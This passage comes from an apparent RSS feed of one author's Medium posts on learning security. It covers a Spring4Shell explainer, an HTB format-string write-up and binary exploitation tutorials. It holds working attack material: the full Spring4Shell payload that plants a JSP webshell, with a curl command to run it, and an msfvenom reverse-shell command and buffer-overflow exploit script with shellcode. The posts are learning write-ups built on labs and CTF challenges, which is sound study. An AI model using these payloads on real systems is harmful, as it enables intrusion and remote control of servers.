&quot;IsDefaultVersion&quot;: true,<br>        &quot;CreateDate&quot;: &quot;2017-02-20T01:48:17Z&quot;<br>    }<br>}</pre><p>According to this response, we can call “apigateway:GET” on “arn:aws:apigateway:us-west-2::/restapis/*” We can use the information obtained from enumerating the resources available with “SecurityAudit” policy</p><p>Lambda functions are called using that rest-api-id, stage name, region and resource like <a href="https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6">https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6</a>, and with this, I’m done!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*Bfe2o9TW_mOpZ1DzZ88tNA.png" /></figure><p>I’ll try it’s second part soon, just not today.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc025027382e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning about Spring4Shell exploit]]></title>
            <link>https://systemweakness.com/learning-about-spring4shell-exploit-788d77d4031f?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/788d77d4031f</guid>
            <category><![CDATA[java]]></category>
            <category><![CDATA[spring-framework]]></category>
            <category><![CDATA[vulnerability]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Thu, 31 Mar 2022 15:23:23 GMT</pubDate>
            <atom:updated>2022-04-04T08:13:08.977Z</atom:updated>
            <content:encoded><![CDATA[<p>I’m pretty sure you might have heard about the infamous “Spring4Shell” exploit by now, so rather than boring you with the details about how it was discovered or how to exploit it. I’d like to explain how and why it works.</p><p>There are two parts to this:</p><ol><li>Spring4Shell: RCE in Spring Core ≤ 5.3.17</li><li>CVE-2022–22964: RCE in Spring Cloud Function (≤ 3.1.6 and ≤ 3.2.2)</li></ol><p>In this blog, I’m going to write about the vulnerability in Spring Core.</p><p>Rapid7 team have recreated and explained the entire thing really well.</p><pre>package net.javaguides.springmvc.helloworld.controller;  <br>import org.springframework.stereotype.Controller; <br>import org.springframework.web.bind.annotation.InitBinder; <br>import org.springframework.web.bind.annotation.RequestMapping;  import net.javaguides.springmvc.helloworld.model.HelloWorld;  <br>/**  <br>  * <br>  @author Ramesh Fadatare  <br>  */ <br>@Controller <br>public class HelloWorldController {   <br>    @RequestMapping(&quot;/rapid7&quot;)  <br>    public void vulnerable(HelloWorld model) { <br>    } <br>}</pre><p>So, what’s happening here is, the HelloWorldController handles the HTTP requests to “http://target.com/appname/rapid7&quot;, the function vulnerable will handle those requests and the values passed along with them.</p><p>Also, this function has a POJO (Plain Old Java Object) parameter.</p><p>Here the vulnerability lies within the @RequestMapping annotation, which enables a “Class Loader Manipulation” attack. Let’s say we have something like this:</p><pre>public class Counter {<br>    private long count;<br>    public long getCount() {<br>        return count;<br>    }<br>    public void setCount() {<br>        this.count = count;<br>    }<br>}</pre><pre>@Controller<br>public class HelloController {<br>    @PostMapping(&quot;/count&quot;)<br>    public String getCount(@ModelAttribute Counter count, Model model) {<br>        return &quot;Here is the count&quot;;<br>    }<br>}</pre><p>Now, making a request to will give us the response “Here is the count”. That part is fine, it works really well, the problem arises when something other than just some random text is given as the request parameter, like:</p><pre>class.module.classLoader.resources.context.parent.pipeline .first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(% 22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRunt ime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int% 20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20 while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7 D%20%7D%20%25%7Bsuffix%7Di&amp;class.module.classLoader.resources.context .parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources .context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.cl assLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;cl ass.module.classLoader.resources.context.parent.pipeline.first.fileDat eFormat=</pre><p>Okay, that doesn’t make much sense. Decoding and breaking it down…</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i <br>if(&quot;j&quot;.equals(request.getParameter(&quot;pwd&quot;))){ <br>  java.io.InputStream in = %{c1}i.getRuntime()<br>      .exec(request.getParameter(&quot;cmd&quot;))<br>      .getInputStream(); <br>  int a = -1; <br>  byte[] b = new byte[2048]; <br>  while((a=in.read(b))3D-1){ <br>     out.println(new String(b)); <br>  } } %{suffix}i&amp;class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&amp;class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&amp;class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&amp;class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=</pre><p>First, it’s probably creating a basic JSP webshell payload</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i <br>if(&quot;j&quot;.equals(request.getParameter(&quot;pwd&quot;))){ <br>  java.io.InputStream in = %{c1}i.getRuntime()<br>      .exec(request.getParameter(&quot;cmd&quot;))<br>      .getInputStream(); <br>  int a = -1; <br>  byte[] b = new byte[2048]; <br>  while((a=in.read(b))3D-1){ <br>     out.println(new String(b)); <br>  } } %{suffix}i</pre><p>Next, specifying the extension of the file it’s going to store the payload into</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp</pre><p>After that, it specifies the directory where the webshell can be kept</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT</pre><p>Giving the webshell a name</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar</pre><p>About this last one, I’m not sure exactly what it’s doing, but just by looking at it, it seems like it determines the “File Date Format”, maybe ?</p><pre>class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=</pre><p>So, that curl request is essentially is a collection of several statements joined together so that it is executed in one go.</p><p>After the payload file tomcatwar.jsp has been created in the webapp/ROOT directory we can execute commands:</p><pre>curl http://localhost:8000/tomcatwar.jsp?pwd=j&amp;cmd=whoami</pre><p>This will give you the contents of tomcatwar.jsp file along with the result of whoami</p><p>I used this repo to host a vulnerable Spring Framework Application locally and test this vulenrability.</p><p><a href="https://github.com/jbaines-r7/spring4shell_vulnapp">https://github.com/jbaines-r7/spring4shell_vulnapp</a></p><p>References:</p><ul><li><a href="https://www.rapid7.com/blog/post/2022/03/30/spring4shell-zero-day-vulnerability-in-spring-framework/">Spring4Shell: Zero-Day Vulnerability in Spring Framework - Rapid7 | Rapid7 Blog</a></li><li><a href="https://www.lunasec.io/docs/blog/spring-rce-vulnerabilities/">Spring4Shell: Security Analysis of the latest Java RCE &#39;0-day&#39; vulnerabilities in Spring | LunaSec</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=788d77d4031f" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/learning-about-spring4shell-exploit-788d77d4031f">Learning about Spring4Shell exploit</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning from HTB Challenges — 1]]></title>
            <link>https://medium.com/@mediocre314/learning-from-htb-challenges-1-c4780500110b?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4780500110b</guid>
            <category><![CDATA[pwn]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Tue, 29 Mar 2022 20:31:42 GMT</pubDate>
            <atom:updated>2022-04-08T15:12:01.791Z</atom:updated>
            <content:encoded><![CDATA[<h3>Learning from HTB Challenges</h3><h3>Racecar</h3><p>I had tried this one before but couldn’t solve it, after learning about binary exploitation and writing a few blogs on it I decided to give it another shot.</p><p>First things first, I fired up Ghidra and looked at the decompiled code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*DaLdIECHNumMbvkzais3_g.png" /><figcaption>Decompiled code of car_menu() function from Ghidra</figcaption></figure><p>There it is, a “Format String Vulnerability” in that printf statement. What is a format string vulnerability you ask ? Simply put, it is a printf statement without format specifiers, which allows attackers like us to exploit that by supplying format specifiers like “%p” to leak pointer addresses from the program, by simply providing them in the input.</p><p>Now, that I have a way to obtain some information I just needed to figure out what I wanted to extract. Easy right ? The contents of flag.txt file, but for some reason it took me half an hour to figure that out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/0*aVl2-fEoGOAPhljX.gif" /></figure><p>Anyway, I noticed that the contents of flag.txt file are being stored in “_stream” variable and that value is printed only when we win the race.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*FDFf5nJ1SsQ6dE1VlGIDQA.png" /></figure><p>We’re asked to give a victory speech after winning the race, that’s the entry point! I can send tons of “%p”, convert the hex into ASCII characters and challenge completed, easy… at least that’s what I thought, but it took a lot more time than what I had expected.</p><p>In the screenshot, there’s that “fgets” statement which clearly states that the value of “_stream”, which actually contains the value of flag.txt file, is stored in “local_3c”. Ghidra gave me the address of “local_3c” variable, I took it over to gdb to examine the state of the stack right after I provide the malicious input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wqlb00IiYxVFHGoi70UI7w.png" /></figure><p>The address of the “local_3c” variable was 0x00001002, so I set a breakpoint on that address and ran the program. But the program crashed, why ? I still can’t figure it out, if any of you have any idea what happened here, please let me know. After an hour of trying several methods (none of them were finding an alternative to the way breakpoints can be set in gdb) I decided to look at a writeup and guess what I learned that there are other ways to set breakpoints too.</p><pre>ged-peda$ break * (car_menu+881)</pre><p>Oh, by the way that “car_menu+881” came from that particular instruction at 0x00001002.</p><pre>gdb-peda$ x/i 0x00001002</pre><p>Now, I just input a bunch of “%p” in the victory speech part, but nothing happened, then I realized I had created an empty flag.txt. So, I put “AAAA” inside that file and examined the stack again…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*Y5-jMhmJ8o1G7qHj0MMPNA.png" /></figure><p>Just to make sure that this wasn’t some coincidence, I changed the contents of flag.txt to “BBBB AAAA” and checked again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*jE54n6ihz2qeKA6NIpyaaw.png" /></figure><p>Yeah, the contents of the flag.txt can actually be read from the stack.</p><p>Did the same thing with the server too, provided a bunch of “%p” in the victory speech part and it returned hex!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_mIytyQ0ngxJdmd3XpsZeg.png" /></figure><p>Put all of that, after removing those (nil) values, into CyberChef to decode it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6E-fxO9hiMOlrgUSPABbhQ.png" /></figure><p>And look at that, there’s something that looks like a flag. Remember the format of HTB flags, “HTB{some_text}”. To convert this string into that pattern, I wrote a simple but horrible C code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*tNgvn7qlYJ-SNC1h8VaLbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/691/1*66F_3Ut9t-1AUB_AuX_Cog.png" /></figure><p>It’s not very good, but it gets the job done :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4780500110b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning binary exploitation — 4]]></title>
            <link>https://medium.com/@mediocre314/learning-binary-exploitation-4-29490f9b99bf?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/29490f9b99bf</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[binary]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Tue, 25 Jan 2022 14:36:15 GMT</pubDate>
            <atom:updated>2022-01-25T14:36:15.577Z</atom:updated>
            <content:encoded><![CDATA[<h3>Learning binary exploitation — 4</h3><h3>Format String Vulnerability</h3><p>This one was quite easy to understand compared to the other concepts.</p><p>So, we have format specifiers in print statements to specify the type of data we’re printing. For example, in C:</p><pre>char astring[10];<br>printf(&quot;We are printing a string: %s&quot;, astring);</pre><p>Here %s is the format specifier.</p><p>There are several format specifers:</p><pre>%s -&gt; string<br>%p -&gt; prints the memory address in hexadecimal<br>%d -&gt; int (decimal)<br>%f -&gt; float<br>%c -&gt; char<br>%x -&gt; hexadecimal<br>%u -&gt; unsigned int<br><strong>%n -&gt; writes the number of characters into a pointer</strong></pre><p>Format string vulnerability occurs when the format specifier is not provided in the print statement. That makes it possible to send string format specifiers like %p</p><p>Let’s say we have some program like this:</p><pre>#include &lt;stdio.h&gt;<br>int main(int argc, char** argv[1]) {<br>    char buffer[64]; <br>    strcpy(buffer, argv[1]);<br>    printf(buffer);<br>    return 0; <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6i-_cHIW5Sn-INfF6apUbw.png" /></figure><p>It prints some memory addresses from the stack. Looking closely, there’s 0x41414141, our input “AAAA”.</p><p>So, if we replace the %p printing the address of our input with %n it will send the length of the string thus far, into the address 0x41414141 which doesn’t exist which will result in a segmentation fault.</p><h3>Injecting Shellcode using this method</h3><p>The shared libraries we import into our program contain the functions and their respective addresses, that’s how we are able to use those functions. For example: strcpy from string.h or printf from stdio.h</p><p>When the program is calling shared libraries and those are dynamically linked then GOT(Global Offset Table) takes on the responsibility of storing the actual address of those functions<strong>. </strong>GOT is basically a table that simply stores the functions and address of their function calls. Of course, by default the addresses are UNDEFINED, I mean the function hasn’t been called yet, how is it supposed to know anything, right ?</p><p>So, when the control flow reaches the function call, the control is transferred to the dynamic linker which is then responsible for updating the GOT entry for that specific function. Then the subsequent calls are made using the address stored in GOT.</p><p>Now, based on this explanation, we can safely say that GOT stores the actual address of all the functions that are called in the program. So if we can somehow alter those addresses, or completely change those to address of some other function… say system() we can get some really interesting results.<br>We can get a shell by running system(/bin/sh).</p><p><strong><em>There’s a more detailed explanation here. I’ve used his lectures for reference</em></strong>: <a href="https://github.com/r0hi7/BinExp/blob/master/Lecture6/README.md">https://github.com/r0hi7/BinExp/blob/master/Lecture6/README.md</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29490f9b99bf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Learning binary exploitation — 3]]></title>
            <link>https://medium.com/@mediocre314/learning-binary-exploitation-3-52c1221ec097?source=rss-d83087140f8a------2</link>
            <guid isPermaLink="false">https://medium.com/p/52c1221ec097</guid>
            <category><![CDATA[binary]]></category>
            <category><![CDATA[shellcode]]></category>
            <category><![CDATA[info-sec-writeups]]></category>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Piyush Pradhan]]></dc:creator>
            <pubDate>Sat, 22 Jan 2022 11:41:04 GMT</pubDate>
            <atom:updated>2022-01-22T11:41:45.489Z</atom:updated>
            <content:encoded><![CDATA[<h3>Learning binary exploitation — 3</h3><p>The vulnerable code I used in this blog:</p><p><a href="https://github.com/dennis95stumm/Vulnerable-Server/blob/master/exploit_smart_server.py">Vulnerable-Server/exploit_smart_server.py at master · dennis95stumm/Vulnerable-Server</a></p><h3>Overflowing the buffer</h3><p>First, I used gdb to figure out which function was responsible for checking the input we provide. Looks like checkAuth is the function I was looking for.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*F5dh6MMRacJ7zyKm6G2uBA.png" /></figure><p>To observe the state of the registers and the stack, I created a breakpoint right after strcmp instruction in checkAuth function. Then I created a buffer of length 5000 hoping that it would be sufficient to overflow the buffer.</p><pre>msf-pattern_create -l 5000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*0zJTOJdqTde9Uvln8Z-3HA.png" /><figcaption>It was sufficient!</figcaption></figure><p>Notice the address at the bottom, that’s the EIP. After obtaining the EIP, I tried to find the exact offset required to overflow the buffer.</p><pre>msf-pattern_offset -l 5000 -q 0x63413962</pre><ul><li><em>The offset was 58</em></li></ul><p>At this point I realized two things:</p><ol><li>Even if I send a normal input after setting a breakpoint, the contents of secret_buffer, which holds the key to validating our input, is revealed.</li><li>If I had looked at the code of checkAuth function first, instead of being a skid and going straight into exploitation, I would’ve instantly found the key (secret_buffer) and noticed another variable auth_flag which determines if the program should move forward or not.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*IY4xTS7yPLyZsdKFLM_a3g.png" /><figcaption>LESSON LEARNED</figcaption></figure><p>Anyway, what’s happening here is, when we overflow the buffer it actually overwrites the auth_flag too which is then returned by checkAuthfunction and is eventually checked if it’s true or not, so any value other than 0 will get us through.</p><h3>Shellcode Injection</h3><p>Now I could perfectly overwrite EIP with python -c &#39;print &quot;A&quot;*58+&quot;BBBB&quot;&#39;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*FTSIG8Ma_VkGKK-LcX98ZQ.png" /><figcaption>EIP Overwritten</figcaption></figure><p>Now, I just had to find a unique address to inject the shellcode.</p><p><strong><em>Note: Do </em></strong><strong>unset env<em> in gdb to remove any environment variables during the program run which may alter the memory addresses</em></strong></p><p>Before finding a location for my shellcode, I had to generate one.</p><pre>msfvenom -p linux/x86/shell_reverse_tcp -b &quot;\x00&quot; LHOST=&lt;listening-ip&gt; LPORT=&lt;listening-port&gt; -f python -o reverse</pre><p>Also, to make sure memory address don’t get messed up I used NOPs too. I struggled quite a bit to find a suitable memory address. Here’s how I did it:</p><ol><li>I just used print pad+nopslide+test_payloadto find the address where “\x43” starts</li><li>Then used that address in place of $eip, hoping that eip will point to the location of my shellcode (test_payload, in the previous step)</li><li>Now, I tested print pad+eip+nopslide+test_payload and this time I noticed “\x43” started from a different address, maybe the additional 4 bytes of $eip that I provided had somehow shifted the memory locations.</li><li>So, I used the address I found in (3) in eip and redirected the output of exploit.py into the program and got a shell</li></ol><p>P.S. I’m not sure if this is the right way to do this.</p><p>Here’s the exploit script that I used:</p><pre>import struct</pre><pre>pad = &quot;A&quot;*58<br>eip = struct.pack(&quot;&lt;I&quot;, 0xffffd1b2) <br>buf =  b&quot;&quot;<br>buf += b&quot;\xd9\xee\xba\x44\x2f\xab\x19\xd9\x74\x24\xf4\x5f\x31&quot;<br>buf += b&quot;\xc9\xb1\x12\x31\x57\x17\x83\xef\xfc\x03\x13\x3c\x49&quot;<br>buf += b&quot;\xec\xaa\x99\x7a\xec\x9f\x5e\xd6\x99\x1d\xe8\x39\xed&quot;<br>buf += b&quot;\x47\x27\x39\x9d\xde\x07\x05\x6f\x60\x2e\x03\x96\x08&quot;<br>buf += b&quot;\x71\x5b\x50\xcd\x19\x9e\xa1\xee\xf0\x17\x40\x40\x64&quot;<br>buf += b&quot;\x78\xd2\xf3\xda\x7b\x5d\x12\xd1\xfc\x0f\xbc\x84\xd3&quot;<br>buf += b&quot;\xdc\x54\x31\x03\x0c\xc6\xa8\xd2\xb1\x54\x78\x6c\xd4&quot;<br>buf += b&quot;\xe8\x75\xa3\x97&quot;</pre><pre>test_payload = &quot;C&quot;*95<br>nopslide = &quot;\x90&quot;*100</pre><pre>print pad+eip+nopslide+buf</pre><p>Of course, I could’ve just used sockets to make things easier, but I was feeling a bit adventurous ¯\_(ツ)_/¯</p><p>So I sent this payload…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*53krhS2u8gJArpYkst3KAg.png" /></figure><p>...and I got the shell!</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=52c1221ec097" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>